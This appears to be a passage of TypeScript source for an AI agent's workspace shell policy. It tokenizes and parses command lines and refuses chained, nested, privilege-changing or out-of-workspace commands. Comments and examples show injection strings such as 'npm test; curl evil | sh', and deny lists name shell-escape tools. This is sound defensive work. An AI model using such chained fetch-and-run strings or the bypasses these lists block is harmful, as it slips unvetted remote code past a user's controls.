closed.');\n }\n\n const inner = this.src.slice(this.pos + 1, closing);\n\n if (/[%!]/.test(inner)) {\n throw unsupported(\n \"`%` and `!` expand even inside quotes in cmd.exe; they are not supported.\",\n );\n }\n\n if (value.endsWith(\"\\\\\") || inner.endsWith(\"\\\\\")) {\n throw unsupported(\n 'A backslash before a `\"` is read differently by cmd.exe and programs.',\n );\n }\n\n value += inner;\n quoted = true;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (\n char === \"%\" ||\n char === \"!\" ||\n char === \"^\" ||\n char === \"(\" ||\n char === \")\" ||\n char === \";\" ||\n char === \",\"\n ) {\n throw unsupported(\n `Unquoted \\`${char}\\` has a special meaning in cmd.exe and is not supported.`,\n );\n }\n\n if (char === \"\\\\\" && this.peek(1) === '\"') {\n throw unsupported('A backslash before a `\"` is read differently by cmd.exe and programs.');\n }\n\n if (char === \"*\" || char === \"?\") {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n}\n\n/**\n * Parse a command line for the shell policy. Never throws: a construct the\n * parser does not read with confidence comes back as `{ ok: false }` with a\n * message naming it.\n *\n * @example\n * const parsed = parseShellLine(\"git add -A && git commit -m 'wip'\", \"posix\");\n * // parsed.ok === true; parsed.commands.map((c) => c.words.map((w) => w.value))\n * // → [[\"git\", \"add\", \"-A\"], [\"git\", \"commit\", \"-m\", \"wip\"]]\n */\nexport function parseShellLine(line: string, dialect: ShellDialect): ShellParseResult {\n const segments: ShellSegment[] = [];\n\n if (dialect === \"powershell\" || dialect === \"powershell5\") {\n return parsePowerShellLine(line, { chaining: dialect === \"powershell\" });\n }\n\n try {\n if (dialect === \"cmd\") {\n const commands: ShellSimpleCommand[] = [];\n\n new CmdParser(line, commands).parseProgram(segments);\n\n return { ok: true, commands, segments, background: false };\n }\n\n const state: SharedState = { commands: [], background: false, nesting: 0 };\n\n new PosixParser(line, state).parseProgram(segments);\n\n return { ok: true, commands: state.commands, segments, background: state.background };\n } catch (error) {\n if (error instanceof ShellSyntaxRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n","/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n","import path from \"node:path\";\nimport type { WorkspaceShellRefusalReason } from \"../errors\";\nimport type {\n WorkspaceCommandPattern,\n WorkspaceCommandRule,\n WorkspacePolicy,\n WorkspaceShellAsk,\n WorkspaceShellClassification,\n WorkspaceShellPolicy,\n} from \"../contracts\";\nimport { isInsideJailLexically } from \"./jail\";\nimport {\n canonicalPowerShellArgv,\n normalizePowerShellCd,\n POWERSHELL_CD_NAMES,\n POWERSHELL_DIRECTORY_STACK,\n} from \"./powershell-aliases\";\nimport {\n currentShellHost,\n resolveShell,\n type ResolvedShell,\n type ResolvedShellInterpreter,\n type ShellHost,\n} from \"./shell-interpreter\";\nimport {\n parseShellLine,\n type ShellDialect,\n type ShellSegment,\n type ShellSimpleCommand,\n type ShellWord,\n} from \"./shell-parser\";\nimport { analyzeArgvCommand, tokenizeCommand } from \"./tokenize-command\";\n\n/** How a shell-mode line touches a path the jail has to vet. */\nexport type WorkspaceShellPathAccess = \"read\" | \"write\" | \"cwd\";\n\n/** A path a shell-mode line redirects to/from or `cd`s into. */\nexport interface WorkspaceShellPath {\n /** Absolute path, resolved lexically against the workspace root (or an earlier `cd`). */\n path: string;\n /** What the line does with it. */\n access: WorkspaceShellPathAccess;\n /** The target as written in the line. */\n target: string;\n}\n\n/**\n * The shell policy's verdict on one command line — see\n * {@link checkShellCommand}.\n */\nexport interface WorkspaceShellCheck {\n /** Whether the line may run (path targets still get a symlink-aware recheck in `exec`). */\n allowed: boolean;\n /** Why it was refused. */\n reason?: WorkspaceShellRefusalReason;\n /** Model-facing refusal text: the cause, and how to fix the command. */\n message?: string;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n /** The redirection target or `cd` directory a `\"path-escape\"` refusal is about. */\n path?: string;\n /**\n * Commands that need a decision from `shell.onAsk` before the line may run.\n * When non-empty, `allowed` is `false` with reason `\"approval-required\"`;\n * the ops layer asks, and refuses with `\"approval-denied\"` if the answer is no.\n */\n asks: WorkspaceShellAsk[];\n /** The argv of every simple command checked, in order (wrapped commands included). */\n commands: string[][];\n /** Shell mode: every redirection target and `cd` directory, for the jail recheck. */\n paths: WorkspaceShellPath[];\n}\n\n/**\n * Programs and shell builtins that run a command or code the policy cannot\n * see (a script string, a file, a command read from input, another user).\n * With deny rules in force they would hide a denied command, so they are\n * refused unless the policy names them in `allow`.\n */\nconst OPAQUE_RUNNERS = new Set([\n // Shells and interpreters of command strings.\n \"sh\",\n \"bash\",\n \"dash\",\n \"zsh\",\n \"ksh\",\n \"mksh\",\n \"ash\",\n \"yash\",\n \"posh\",\n \"fish\",\n \"csh\",\n \"tcsh\",\n \"busybox\",\n \"cmd\",\n \"powershell\",\n \"pwsh\",\n \"wsl\",\n // Run a command as someone else, elsewhere, or out of the process group.\n \"sudo\",\n \"doas\",\n \"su\",\n \"runuser\",\n \"pkexec\",\n \"runas\",\n \"chroot\",\n \"nsenter\",\n \"unshare\",\n \"setsid\",\n \"systemd-run\",\n \"start-stop-daemon\",\n \"daemonize\",\n // Run commands built from input or on a schedule.\n \"xargs\",\n \"parallel\",\n \"watch\",\n \"script\",\n \"expect\",\n \"at\",\n \"batch\",\n \"screen\",\n \"tmux\",\n \"stdbuf\",\n \"flock\",\n]);\n\n/**\n * PowerShell cmdlets and aliases that run code or commands the policy cannot\n * see, or change what later names mean (lowercase).\n */\nconst POWERSHELL_OPAQUE = new Set([\n \"iex\",\n \"invoke-expression\",\n \"invoke-command\",\n \"icm\",\n \"start-process\",\n \"saps\",\n \"start\",\n \"add-type\",\n \"set-alias\",\n \"sal\",\n \"new-alias\",\n \"nal\",\n \"invoke-item\",\n \"ii\",\n]);\n\n/** POSIX shell builtins that evaluate code or change how later names resolve. */\nconst SHELL_OPAQUE_BUILTINS = new Set([\n \"eval\",\n \".\",\n \"source\",\n \"alias\",\n \"unalias\",\n \"hash\",\n \"enable\",\n \"trap\",\n \"let\",\n \"declare\",\n \"typeset\",\n \"local\",\n \"set\",\n \"shopt\",\n \"fc\",\n \"bind\",\n \"complete\",\n \"compgen\",\n \"compopt\",\n \"mapfile\",\n \"readarray\",\n]);\n\n/** cmd.exe builtins that run commands or change the environment. */\nconst CMD_OPAQUE_BUILTINS = new Set([\"call\", \"start\", \"set\", \"pushd\", \"popd\"]);\n\n/**\n * Shell builtins whose arguments bash may evaluate as arithmetic (array\n * subscripts such as `a[$(cmd)]`): their arguments must be literal and free\n * of `[`.\n */\nconst ARITHMETIC_SENSITIVE_BUILTINS = new Set([\n \"test\",\n \"[\",\n \"printf\",\n \"read\",\n \"unset\",\n \"export\",\n \"readonly\",\n \"getopts\",\n \"wait\",\n \"kill\",\n \"shift\",\n \"return\",\n \"exit\",\n \"break\",\n \"continue\",\n \"ulimit\",\n]);\n\n/**\n * Variables a shell-mode line may not assign: they change how the shell\n * parses, traces or resolves what follows (`CDPATH` would move `cd` out of\n * the jail's sight, `PS4` is expanded — command substitutions included —\n * on every traced line, `IFS` re-splits expansions).\n */\nconst SENSITIVE_VARIABLES = new Set([\n \"CDPATH\",\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"IFS\",\n \"PS1\",\n \"PS2\",\n \"PS3\",\n \"PS4\",\n \"PROMPT_COMMAND\",\n \"BASH_XTRACEFD\",\n \"GLOBIGNORE\",\n \"EXECIGNORE\",\n \"BASH_LOADABLES_PATH\",\n]);\n\n/** Redirection targets that are always fine even though they sit outside the jail. */\nconst DEVICE_TARGETS = new Set([\"/dev/null\", \"/dev/stdout\", \"/dev/stderr\"]);\n\n/** cmd.exe's null device. */\nconst CMD_DEVICE_TARGETS = new Set([\"nul\"]);\n\n/** Deepest chain of wrappers (`env time nice …`) the policy unwraps. */\nconst MAX_WRAPPER_DEPTH = 8;\n\n/** Most distinct directories a line may `cd` between. */\nconst MAX_CD_CANDIDATES = 32;\n\n/** Longest command shown verbatim in a refusal before it is abbreviated. */\nconst MAX_SHOWN_COMMAND = 48;\n\n/** The dialect `interpreter: \"sh\"` parses on this platform. */\nexport function shellDialect(): ShellDialect {\n return process.platform === \"win32\" ? \"cmd\" : \"posix\";\n}\n\n/**\n * Reduce an argv's first element to the basename the allow/deny policy is\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\n * stripped). The cmd dialect splits Windows paths too.\n */\nexport function executableBasename(firstToken: string, dialect: ShellDialect = \"posix\"): string {\n const base =\n dialect === \"cmd\" || dialect === \"powershell\" || dialect === \"powershell5\"\n ? path.win32.basename(firstToken)\n : path.basename(firstToken);\n\n return base.replace(\n dialect === \"powershell\" || dialect === \"powershell5\"\n ? /\\.(exe|cmd|bat|com|ps1)$/i\n : /\\.(exe|cmd|bat|com)$/i,\n \"\",\n );\n}\n\n/** Show a command in a refusal, abbreviated at a word boundary when long. */\nfunction show(source: string): string {\n const flat = source.replace(/\\s+/g, \" \").trim();\n\n if (flat.length <= MAX_SHOWN_COMMAND) {\n return `\\`${flat}\\``;\n }\n\n const cut = flat.lastIndexOf(\" \", MAX_SHOWN_COMMAND);\n\n return `\\`${flat.slice(0, cut > 0 ? cut : MAX_SHOWN_COMMAND)} …\\``;\n}\n\n/** Compile `denyPatterns` once per check. */\ninterface CompiledPattern {\n source: WorkspaceCommandPattern;\n test(argv: string[], dialect: ShellDialect): boolean;\n}\n\nfunction compilePattern(pattern: WorkspaceCommandPattern): CompiledPattern {\n if (pattern instanceof RegExp) {\n const regex = new RegExp(pattern.source, pattern.flags.replace(/[gy]/g, \"\"));\n\n return {\n source: pattern,\n test: (argv, dialect) =>\n regex.test([executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \")),\n };\n }\n\n const tokens = tokenizeCommand(pattern);\n\n if (tokens === null) {\n // Not representable as an argv: match it as text inside the joined argv.\n return {\n source: pattern,\n test: (argv, dialect) =>\n [executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \").includes(pattern),\n };\n }\n\n return {\n source: pattern,\n test: (argv, dialect) => {\n if (argv.length < tokens.length) {\n return false;\n }\n\n return tokens.every((token, index) => {\n const actual = argv[index] ?? \"\";\n\n return index === 0\n ? executableBasename(actual, dialect).toLowerCase() ===\n executableBasename(token, dialect).toLowerCase()\n : actual === token;\n });\n },\n };\n}\n\n/** Thrown inside the checker to stop at the first refusal. */\nclass Refusal extends Error {\n public constructor(\n public readonly reason: WorkspaceShellRefusalReason,\n message: string,\n public readonly executable?: string,\n public readonly refusedPath?: string,\n ) {\n super(message);\n }\n}\n\n/** Options a check takes beyond the policy and the line. */\nexport interface ShellCheckOptions {\n /** Patterns a host approved earlier with `remember`; they allow what would ask, never what is denied. */\n remembered?: readonly WorkspaceCommandPattern[];\n /** The host the `\"auto\"` interpreter is resolved against (tests inject one). */\n host?: ShellHost;\n /** The already-resolved shell, to skip resolving it again. */\n resolved?: ResolvedShell;\n}\n\n/** A compiled `shell.rules` entry. */\ninterface CompiledRule {\n rule: WorkspaceCommandRule;\n pattern: CompiledPattern;\n}\n\n/** Per-line checker state. */\nclass LineChecker {\n public readonly commands: string[][] = [];\n\n public readonly paths: WorkspaceShellPath[] = [];\n\n public readonly asks: WorkspaceShellAsk[] = [];\n\n private readonly deny: Set<string>;\n\n private readonly allow: string[];\n\n private readonly patterns: CompiledPattern[];\n\n private readonly rules: CompiledRule[];\n\n private readonly remembered: CompiledPattern[];\n\n private readonly hasCommandRules: boolean;\n\n /** Whether `shell.onAsk` is set: unmatched, unreadable and opaque commands ask. */\n public readonly askMode: boolean;\n\n public constructor(\n private readonly policy: WorkspacePolicy,\n private readonly shell: WorkspaceShellPolicy,\n private readonly line: string,\n private readonly dialect: ShellDialect,\n private readonly interpreter: ResolvedShellInterpreter,\n remembered: readonly WorkspaceCommandPattern[] = [],\n ) {\n this.deny = new Set((shell.deny ?? []).map((name) => name.toLowerCase()));\n this.allow = shell.allow ?? [];\n this.patterns = (shell.denyPatterns ?? []).map(compilePattern);\n this.rules = (shell.rules ?? []).map((rule) => ({ rule, pattern: compilePattern(rule.match) }));\n this.remembered = remembered.map(compilePattern);\n this.askMode = shell.onAsk !== undefined;\n this.hasCommandRules =\n this.deny.size > 0 ||\n this.patterns.length > 0 ||\n this.rules.length > 0 ||\n shell.allowCommand !== undefined;\n }\n\n /** Whether argument hooks (`denyPatterns` / `allowCommand`) need literal argv. */\n public get hasArgumentHooks(): boolean {\n return this.patterns.length > 0 || this.shell.allowCommand !== undefined;\n }\n\n private get shellMode(): boolean {\n return this.interpreter !== \"none\";\n }\n\n /** The last rule that matches `argv` (later rules win). */\n private matchRule(argv: string[]): WorkspaceCommandRule | undefined {\n for (let index = this.rules.length - 1; index >= 0; index--) {\n const compiled = this.rules[index] as CompiledRule;\n\n if (compiled.pattern.test(argv, this.dialect)) {\n return compiled.rule;\n }\n }\n\n return undefined;\n }\n\n private isRemembered(argv: string[]): boolean {\n return this.remembered.some((pattern) => pattern.test(argv, this.dialect));\n }\n\n /** Record a command that needs a decision (once per argv and reason). */\n public addAsk(\n argv: string[],\n reason: WorkspaceShellAsk[\"reason\"],\n rule?: WorkspaceCommandRule,\n ): void {\n const key = `${reason}\\u0000${argv.join(\"\\u0000\")}`;\n\n if (this.asks.some((ask) => `${ask.reason}\\u0000${ask.argv.join(\"\\u0000\")}` === key)) {\n return;\n }\n\n this.asks.push({ argv: [...argv], reason, ...(rule !== undefined ? { rule } : {}) });\n }\n\n /** Refuse when the matching rule denies. */\n private assertNotDenied(argv: string[], rule: WorkspaceCommandRule | undefined): void {\n if (rule?.effect !== \"deny\") {\n return;\n }\n\n const explanation =\n rule.reason !== undefined && rule.reason.trim() !== \"\" ? ` ${rule.reason.trim()}` : \"\";\n\n throw new Refusal(\n \"denied-pattern\",\n `${show(argv.join(\" \"))} is denied by a workspace shell rule.${explanation}`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n\n /**\n * Check the canonical form of a PowerShell alias (`Remove-Item -Recurse\n * -Force x` as `rm -rf x`): deny, `denyPatterns`, `allowCommand` and the\n * rules, but not the `allow` list (which names the spelling that was written).\n */\n public checkCanonical(argv: string[]): void {\n const key = executableBasename(argv[0] ?? \"\", this.dialect).toLowerCase();\n\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${key}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n key,\n );\n }\n\n this.checkHooks(argv, true);\n\n const rule = this.matchRule(argv);\n\n this.assertNotDenied(argv, rule);\n\n if (rule?.effect === \"ask\" && !this.isRemembered(argv)) {\n this.addAsk(argv, \"rule\", rule);\n }\n }\n\n /** Refuse a denied executable (used for `cd` spellings). */\n public assertExecutableNotDenied(key: string, argv: string[]): void {\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${key}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n key,\n );\n }\n }\n\n /** Run `denyPatterns` and `allowCommand` on one argv. */\n private checkHooks(argv: string[], nested: boolean): void {\n const shown = show(argv.join(\" \"));\n\n for (const pattern of this.patterns) {\n if (pattern.test(argv, this.dialect)) {\n throw new Refusal(\n \"denied-pattern\",\n `${shown} matches a command pattern the workspace shell policy denies.`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n }\n\n const hook = this.shell.allowCommand;\n\n if (hook === undefined) {\n return;\n }\n\n let verdict: boolean | string;\n\n try {\n verdict = hook([...argv], { command: this.line, interpreter: this.interpreter, nested });\n } catch {\n verdict = false;\n }\n\n if (verdict === true) {\n return;\n }\n\n const explanation =\n typeof verdict === \"string\" && verdict.trim() !== \"\" ? ` ${verdict.trim()}` : \"\";\n\n throw new Refusal(\n \"not-allowed\",\n `${shown} was refused by the workspace shell policy.${explanation}`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n\n /** Whether the policy names `executable` in a non-empty `allow` list. */\n private explicitlyAllowed(executable: string): boolean {\n return this.allow.includes(executable);\n }\n\n /** Refuse a command runner the policy cannot see into, unless explicitly allowed. */\n private checkOpaque(executable: string, argv: string[]): void {\n if (this.explicitlyAllowed(executable) || !this.hasCommandRules) {\n return;\n }\n\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` runs a command the workspace shell policy cannot inspect (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n /**\n * Check one argv: `deny`, `allow`, `denyPatterns`, `allowCommand`, then\n * follow wrappers and `find -exec` to the command they run. `dynamic[i]`\n * says whether `argv[i]` is decided at run time (shell mode).\n */\n public checkArgv(argv: string[], dynamic: boolean[], depth: number): void {\n const first = argv[0] ?? \"\";\n const executable = executableBasename(first, this.dialect);\n const key = executable.toLowerCase();\n\n if (executable === \"\") {\n throw new Refusal(\"not-allowed\", \"The command has no executable name.\");\n }\n\n if (dynamic[0] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The command name \\`${first}\\` is decided when the line runs, so the workspace shell policy cannot check it. Write the command name literally.`,\n );\n }\n\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${executable}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n executable,\n );\n }\n\n if (this.allow.length > 0 && !this.allow.includes(executable)) {\n const listed = this.allow.slice(0, 20).join(\", \");\n\n throw new Refusal(\n \"not-allowed\",\n `\\`${executable}\\` is not in the workspace shell allowlist. Allowed commands: ${listed}${this.allow.length > 20 ? \", …\" : \"\"}.`,\n executable,\n );\n }\n\n this.checkHooks(argv, depth > 0);\n\n const rule = this.matchRule(argv);\n\n this.assertNotDenied(argv, rule);\n this.commands.push([...argv]);\n\n const remembered = this.isRemembered(argv);\n const approved = rule?.effect === \"allow\" || remembered || this.explicitlyAllowed(executable);\n\n if (\n OPAQUE_RUNNERS.has(key) ||\n (this.shellMode && this.dialect === \"posix\" && SHELL_OPAQUE_BUILTINS.has(key)) ||\n (this.shellMode && this.dialect === \"cmd\" && CMD_OPAQUE_BUILTINS.has(key)) ||\n (this.shellMode &&\n (this.dialect === \"powershell\" || this.dialect === \"powershell5\") &&\n POWERSHELL_OPAQUE.has(key))\n ) {\n if (approved) {\n return;\n }\n\n if (this.askMode || rule?.effect === \"ask\") {\n this.addAsk(argv, \"nested\", rule);\n\n return;\n }\n\n this.checkOpaque(executable, argv);\n\n return;\n }\n\n if (this.shellMode && this.dialect === \"posix\" && ARITHMETIC_SENSITIVE_BUILTINS.has(key)) {\n this.checkArithmeticSensitive(executable, argv, dynamic);\n }\n\n const ranges = this.unwrap(key, argv);\n\n // A command no rule or allow list covers asks — except a wrapper, which\n // asks through the command it runs.\n if (!approved && ranges === undefined) {\n if (rule?.effect === \"ask\") {\n this.addAsk(argv, \"rule\", rule);\n } else if (rule === undefined && this.askMode && this.allow.length === 0) {\n this.addAsk(argv, \"rule\");\n }\n } else if (!approved && rule?.effect === \"ask\") {\n this.addAsk(argv, \"rule\", rule);\n }\n\n if (ranges === undefined) {\n return;\n }\n\n if (ranges === null || depth >= MAX_WRAPPER_DEPTH) {\n if (this.askMode) {\n this.addAsk(argv, \"nested\", rule);\n\n return;\n }\n\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` is used with options the workspace shell policy cannot read (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n for (const [start, end] of ranges) {\n this.checkArgv(argv.slice(start, end), dynamic.slice(start, end), depth + 1);\n }\n }\n\n /**\n * Builtins bash may evaluate arguments of as arithmetic (array subscripts\n * like `a[$(cmd)]` run the substitution): arguments must be literal, free\n * of `[`, and must not name a variable that changes how the shell runs.\n */\n private checkArithmeticSensitive(executable: string, argv: string[], dynamic: boolean[]): void {\n for (let index = 1; index < argv.length; index++) {\n const argument = argv[index] ?? \"\";\n\n if (dynamic[index] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments must be literal here (\\`${argument}\\` is not): bash may evaluate them as arithmetic.`,\n executable,\n );\n }\n\n if (argument.includes(\"[\") && argument !== \"[\" && argument !== \"]\") {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments with \\`[\\` (array subscripts, evaluated as arithmetic) are not supported.`,\n executable,\n );\n }\n\n const name = argument.split(\"=\")[0] ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Changing \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n executable,\n );\n }\n }\n }\n\n /**\n * The argv ranges a wrapper runs. `undefined` — not a wrapper (or one that\n * runs nothing, like a bare `env`); `null` — a wrapper whose options the\n * policy cannot read (refused).\n */\n private unwrap(key: string, argv: string[]): Array<[number, number]> | null | undefined {\n switch (key) {\n case \"env\":\n return suffixFrom(argv, unwrapEnv(argv));\n case \"nice\":\n return suffixFrom(argv, unwrapNice(argv));\n case \"nohup\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"time\":\n return suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"timeout\":\n return suffixFrom(argv, unwrapTimeout(argv));\n case \"command\":\n return argv.slice(1).some((arg) => arg === \"-v\" || arg === \"-V\")\n ? undefined\n : suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"builtin\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"exec\":\n return this.dialect === \"posix\" ? suffixFrom(argv, unwrapExec(argv)) : undefined;\n case \"find\":\n return unwrapFind(argv);\n default:\n return undefined;\n }\n }\n\n /** Check a `cd` (shell mode): literal, one operand, inside the jail from every possible cwd. */\n public checkCd(words: ShellWord[], cwds: string[]): string[] {\n const argv = words.map((word) => word.value);\n\n if (this.deny.has(\"cd\")) {\n throw new Refusal(\"denied-executable\", \"`cd` is denied by the workspace shell policy.\", \"cd\");\n }\n\n this.checkHooks(argv, false);\n this.commands.push(argv);\n\n const operands = words.slice(1);\n\n while (\n this.dialect === \"posix\" &&\n operands.length > 0 &&\n [\"-P\", \"-L\", \"--\"].includes(operands[0]?.value ?? \"\")\n ) {\n operands.shift();\n }\n\n const target = operands[0];\n\n if (operands.length !== 1 || target === undefined || target.value === \"-\" || target.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`cd` needs exactly one literal directory inside the workspace (no `-`, `~` or variables).\",\n \"cd\",\n );\n }\n\n const next = new Set(cwds);\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, target.value);\n\n this.assertInJail(resolved, target.value, \"cd\");\n this.paths.push({ path: resolved, access: \"cwd\", target: target.value });\n next.add(resolved);\n }\n\n if (next.size > MAX_CD_CANDIDATES) {\n throw new Refusal(\"unsupported-syntax\", \"The line changes directory too many times.\", \"cd\");\n }\n\n return [...next];\n }\n\n /** Check a redirection target from every possible cwd. */\n public checkRedirectTarget(word: ShellWord, access: \"read\" | \"write\", cwds: string[]): void {\n if (\n (this.dialect === \"powershell\" || this.dialect === \"powershell5\") &&\n !word.quoted &&\n word.value.toLowerCase() === \"$null\"\n ) {\n return;\n }\n\n if (word.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The redirection target \\`${word.raw}\\` must be a literal path (no variables, globs or \\`~\\`).`,\n );\n }\n\n const value = word.value;\n\n if (\n (this.dialect === \"posix\" && DEVICE_TARGETS.has(value)) ||\n (this.dialect === \"cmd\" && CMD_DEVICE_TARGETS.has(value.toLowerCase()))\n ) {\n return;\n }\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, value);\n\n this.assertInJail(resolved, value, \"redirect\");\n this.paths.push({ path: resolved, access, target: value });\n }\n }\n\n private resolveTarget(cwd: string, target: string): string {\n return path.resolve(cwd, target);\n }\n\n private assertInJail(resolved: string, target: string, kind: \"cd\" | \"redirect\"): void {\n if (isInsideJailLexically(this.policy, resolved)) {\n return;\n }\n\n throw new Refusal(\n \"path-escape\",\n kind === \"cd\"\n ? `\\`cd ${target}\\` leaves the workspace jail (or enters a denied path); commands must stay inside the workspace.`\n : `The redirection target \\`${target}\\` is outside the workspace jail or on a denied path.`,\n undefined,\n target,\n );\n }\n}\n\n/**\n * Turn a wrapper's \"inner command starts at `start`\" into a range; a\n * wrapper that runs nothing (`start === argv.length`) becomes `undefined`.\n */\nfunction suffixFrom(\n argv: string[],\n start: number | null,\n): Array<[number, number]> | null | undefined {\n if (start === null) {\n return null;\n }\n\n return start < argv.length ? [[start, argv.length]] : undefined;\n}\n\n/** `nohup` / `time` / `command` / `builtin`: skip the listed flags and `--`. */\nfunction unwrapSimple(argv: string[], flags: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (flags.includes(arg)) {\n index++;\n\n continue;\n }\n\n if (arg.startsWith(\"-\") && arg !== \"-\") {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `env [-i] [-u NAME] [NAME=value]… command…` */\nfunction unwrapEnv(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-i\" || arg === \"-\" || arg === \"--ignore-environment\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-u\" || arg === \"--unset\") {\n index += 2;\n\n continue;\n }\n\n if (arg.startsWith(\"--unset=\") || 